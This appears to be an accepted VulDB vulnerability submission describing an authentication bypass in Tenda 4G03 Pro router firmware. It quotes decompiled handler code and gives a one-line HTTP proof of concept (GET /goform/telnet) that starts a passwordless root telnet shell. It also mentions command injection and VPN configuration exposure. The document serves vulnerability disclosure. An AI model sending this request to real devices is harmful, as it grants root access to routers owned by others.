| 제목 | Tenda Tenda 4G03 Pro V1.0 V04.03.01.53 Authentication Bypass Issues |
|---|
| 설명 | Tenda 4G03 Pro V1.0 /bin/httpd authentication bypass for sensitive endpoints
The R7WebsSecurityHandler function (FUN_00021a54) in /usr/sbin/httpd
of Tenda 4G03 Pro V1.0 firmware V04.03.01.53 explicitly skips
authentication for three sensitive management endpoints when the
admin password is unset (factory default). Sending GET
/goform/telnet starts a persistent root telnet daemon on TCP/23.
The /goform/ate endpoint enables OS command injection. The
/goform/zerotier endpoint exposes VPN tunnel configuration. All
three are accessible with zero credentials on a factory-default device.
POC:
Auth bypass code (FUN_00021a54):
if (strncmp(url,"/goform/telnet",0xe)==0 &&
DAT_00050f14=='\0') goto pass_through;
if (strncmp(url,"/goform/ate",0xb)==0 &&
DAT_00050f14=='\0') goto pass_through;
if (strncmp(url,"/goform/zerotier",0x10)==0 &&
DAT_00050f14=='\0') goto pass_through;
PoC — spawn root telnet shell:
GET /goform/telnet HTTP/1.1
Host: 192.168.0.1
Result: telnetd starts on TCP/23, login as root with no password |
|---|
| 사용자 | CoreNode (UID 96566) |
|---|
| 제출 | 2026. 03. 18. AM 03:16 (6 개월 ago) |
|---|
| 모더레이션 | 2026. 04. 04. AM 08:20 (17 days later) |
|---|
| 상태 | 수락 |
|---|
| VulDB 항목 | 355279 [Tenda 4G03 Pro 까지 1.0/1.1/04.03.01.53/192.168.0.1 /bin/httpd 권한 상승] |
|---|
| 포인트들 | 17 |
|---|